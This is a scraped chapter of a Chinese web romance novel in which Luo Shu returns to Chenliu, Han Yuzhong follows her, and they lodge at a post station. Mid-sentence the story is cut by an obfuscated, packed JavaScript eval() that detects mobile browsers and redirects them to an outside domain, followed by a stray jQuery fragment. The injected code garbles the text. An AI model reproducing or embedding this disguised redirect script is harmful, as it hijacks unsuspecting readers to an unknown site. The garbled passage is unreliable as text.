默认冷灰
24号文字
方正启体

48. 第 48 章

作者:复堂堂本书字数:K更新时间:
    天公作美,月儿似圆盘一样挂在夜空,霮?乌云散开,不再蔽月遮星,方便了街巷中这对郎君娘子,静悄悄地打量对方。


    月色如银,漫过他的眉骨,清朗俊逸的脸庞已映入骆抒眼中,除了他处相逢的喜悦,骆抒没由来地生出一丝恼怒。


    跟来就跟来,干什么吓唬人,难道他不知道人有三魂七魄,最怕惊吓吗?


    恼怒之余,喉间又泛起一丝酸涩。


    骆抒没想到他会跟来,韩国公把他关在家中不许出门,父为子纲,他哪里能违抗父命擅自出府。


    可是茶棚里的姜汤、炭盆、桐油像是他的手笔,细腻周全,一笔笔让人抛去理智,心中暗自期待是他。


    骆抒暗暗质问自己,为什么期待他,你们身份差距恰如天上云和地上草,容不得自己装糊涂。他议亲在即,哪天就十里红妆迎新妇过门,你顶多能混杯喜酒喝。


    到底为什么期待他,是心中有他已到了难以忘怀之境吗?绝不是这样,他人生得好,心很正,骆抒又对他怀着感激之心,中意这样的郎君本就是很轻易的事。


    可若是不能相守,心中暗含着期待只是害了自己。


    骆抒不是怨女,她不会怀着爱慕他的心意了却残生,比起这样,还不如与他荒唐一场呢。


    或许是大胆了点,左右自己大胆的事也没少做。


    荒唐后再忘却这一切,过好自己的日子就行,她绝不会死缠着不放手。


    还是期待他如神兵天降解了自己的困厄?是,韩大人是没少帮自己,可日子是自己的,别人帮一把是情意,又不是应当应分。她当初上京时也是一个人,豁出去了赌命,遇上韩大人是运道好,但她并不是靠着运道好到了汴京,她理好了证据、雇了讼师,做好了自己能做的一切才上的公堂。


    如若当时没赌赢,骆抒想过以后,若是阿姑真的判死,自己又落入赵泓济手里,大不了同归于尽,谁也别想好过。


    所以自己不是期待这些,不是猪油蒙了心期待能嫁给他,也不能期待他能为自己消灾解难。


    她只是知道他的心意,知道他也同自己一样,见了对方就欣喜,她期待的是他知道自己回陈留,会不会一时糊涂跟来。


    他真的一时糊涂了,瞧,他多傻啊。


    韩雨钟也在打量她,因路途疲惫,她脸色白得有些憔悴,嘴唇倒还红润着。哦,是刚才喝了碗汤。


    手中还握着个木梭,原来就是用这东西狠狠戳了自己一下,韩雨钟觉得好笑,哪有人用着防身的,身后送她一柄匕首好了。可是匕首又怕她不会使,伤到自己,最好是出门时一刻不离,也就不用担心了。


    鬼知道他在家里憋得不行时,突然听说骆抒自个回了陈留是什么感受?


    自个回陈留,她怎么不想想他会多担心啊。


    吕相公也是,怎么不派个人送她走。骆抒也是,那腰牌是给她当装饰用的吗?来趟国公府给他传句话不行吗?嫁给他之后,进出国公府不知要多少趟,何必怕上他家的门。


    纵马赶来时,恰好目睹她那辆骡车翻倒,韩雨钟又气又急,恨不得抓她上马。可她不慌不忙地找石块,同别人一起拉出车来,又想,这也的确是她的性子。


    也就熄了现身的念头,到前头茶棚等她。


    本来想着等她有麻烦再出现,得让她知道自己有多好!


    可是那车把式换了地方又不告诉她,自己怕她丢了,才想提醒她一回。结果她倒好,拿着木梭就撞过来。


    月光下,他的影子渐渐拉长,覆盖在她的衣裙上。


    骆抒正沉浸在自己的遐思中,没注意到韩雨钟已靠过来了,阴影变得更深。她回神时思绪还停在他的手上。


    骆抒声音干哑,“你……疼不疼?”


    还知道关心他呢,其实那股劲早过去了。


    韩雨钟答非所问,“姜汤苦不苦?”


    “什么?”


    他目光缱绻,温声解释,“我怕姜汤太辣太苦,嘱咐掌柜多放一勺红糖,你没喝出来吗?”


    骆抒当时光顾着驱寒,哪里还记得姜汤的味道。可见他希冀的目光,猛然间心有灵犀,回道,“我又不是孩童,下次不许拿糖哄我。”


    姜汤的滋味泛起来,似乎真是甜丝丝的。


    韩雨钟听她说下次,心中一喜,勾起唇角。“好,下次我亲手给你煮,保管原汁原味。”


    眼前是他风尘仆仆的衣袖,骆抒心底一阵酸软。


    “你还没说疼不疼。”


    韩雨钟嗤笑一声,从她手里夺过木梭,“此凶器先交由本官看管,等查明事实再治你的罪。”


    还用木梭轻点一下骆抒的头。


    看来他是一点也不疼了,骆抒扬起脸反驳,“大人明鉴,这是我防身用的,要怪就怪那人无端跟着我。”


    难得见她此类情态,韩雨钟紧盯着她的脸,红唇微抿的模样让他心神荡漾,哑声说,“我就要跟着你。”


    低沉的声调让骆抒听得心头一颤,对上他深沉的目光,一时不知如何回答。


    韩雨钟也品出不妥,此等话语显得轻浮狎呢,他是不该说的,可话已说出口,抿紧双唇看她。


    万一她生气了,厌恶自己轻薄调笑可怎么办。


    好在骆抒并不像他猜想那边,她侧过脸去,轻声回应他,“一会儿我照旧坐骡车走,你跟在后面吧。”


    韩雨钟点头如捣蒜,这不就是默许吗?


    他给骆抒指明方向,“那车把式把骡车停在拐角路口了,我本想与你说的。”


    骆抒反而问他,“若没有这件事,你打算何时现身?”


    韩雨钟哪好意思说自己心里那点打算,只是老实回答,“等你到了陈留,我便说是恰巧来此公干,届时接上你回汴京。”


    安排得倒挺明白,骆抒心想。


    两人一前一后行至拐角路口,月儿依旧高悬空中,骡车静静停靠在镇口。好在没耽误多少时间,车把式催促人上车,说是前面几里路就抵达陈留了,抓紧些,别太晚回去。


    骆抒今日经历许多大起大落,坐上骡车后,紧绷的精神骤然松懈,一时困意满满。


    偏偏路上安静极了,她还能听见后头马蹄哒哒的行进声。


    听着听着,骆抒还真睡着了。


    不知何时,骡车停了下来。


    清缓的人声、下车的窸窣声,似乎还有车把式在说什么,听起来很为难的样子。


    迷迷蒙蒙间,有人凑近了自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991627|177628||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    己的耳边低语,喷出的呼吸让她耳边连着脖颈一片都痒痒的。


    还是那个磁性低沉的声音,他说,“阿抒,你若再不醒,我就把你抱下来了。“


    不可以!骆抒陡然惊醒,眼前正是韩雨钟一张放大的俊脸。


    他笑得像偷腥的猫,作势要扶她起来。


    骆抒没理他,艰难起身,从行囊中拿出两百钱给车把式结账。


    那车把式不肯要,“娘子是我们掌柜的好友,我怎么能要娘子的钱。”


    骆抒将钱整齐放进骡车里,“一码归一码,这钱是你该得的。”


    车把式赶路辛苦,为人又本分,本不想要的,见骆抒态度坚决,想了想还是收了。


    此时已月上中天,陈留县内大道上一片安静,骆抒心头复杂,她没想到自己这么快又回来了。


    韩雨钟翻身下马,牵着缰绳走到骆抒身边,“驿程记上写此处有个驿站,今晚就去那里投宿吧。”


    他说的是陈留官驿,平头百姓没有凭证不能入住。但骆抒在陈留已无落脚之地,虽有几个远房亲戚,此时天色已晚,不好打扰他人安眠。


    官驿占地不小,可容纳好几十号人入住,皆因历来官员出行,谁人不多带些仆从呢。


    韩雨钟一人一马,还带着娘子出行的才是异类。


    驿丞打量着这对男女,一个是贵公子模样的审刑院官人,一个带着帷帽,看不清样貌,只看身形就是位年轻娘子。


    他验过驿券,使唤仆人拉走马儿,对着韩雨钟询问道,“韩官人可住楼上左拐第一间,娘子只能住楼下的通铺了,官人看如此安排可行吗?”


    韩雨钟明了这是本朝官驿的规矩,男女需分开居住。除非,除非骆抒是他的家眷,才能住同一间。


    他心猿意马一会儿,答复驿丞,“可否将两个房间安排得近些,亦或我住通铺,她住楼上的房间?”


    “这……”驿丞有些为难,住官驿的得是本朝官员,小娘子没有官职怎么能住楼上呢。


    韩雨钟往驿丞手里塞进一把钱,低声嘱咐他,“这是我未婚妻子,她今日身体不适,不便住通铺。劳烦你通融一二。”


    驿丞露出了然的笑脸,掂了掂银钱的重量,“使得使得,既然官人有心,我就不拂官人的心意了。”


    楼上房间当然要好一些,韩雨钟验过房屋窗户、木门妥帖后,送骆抒进来,“我就住楼下,有要紧事就来寻我。”


    修长的五指此刻把住门闩,好一会儿也没离开。骆抒感受着他一刻也不离开的目光,像是一种无声的渴望。


    人有贪心,见不到面时只是渴求见一见,知道她好,自己就好。真见上面了,又渴求更近一步,最好似那日小院中密不可分的相拥。但他也不知道,若真如愿了,他又要渴求什么。


    可惜韩雨钟不知,骆抒回到陈留已没了谈情之心,她想起阿姑的病和这里的一切,都觉得心头闷闷的,只想着赶紧到天明,明日好去看阿姑。


    一个满腔的情意,一个是千头万绪。天色也不早,骆抒把着他的手,推他出去,“不早了,你快去睡吧。”


    韩雨钟还没来得及感受牵手,就吃了记关门杀,郁闷极了。怎么知晓他的心意后,阿抒更无情了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)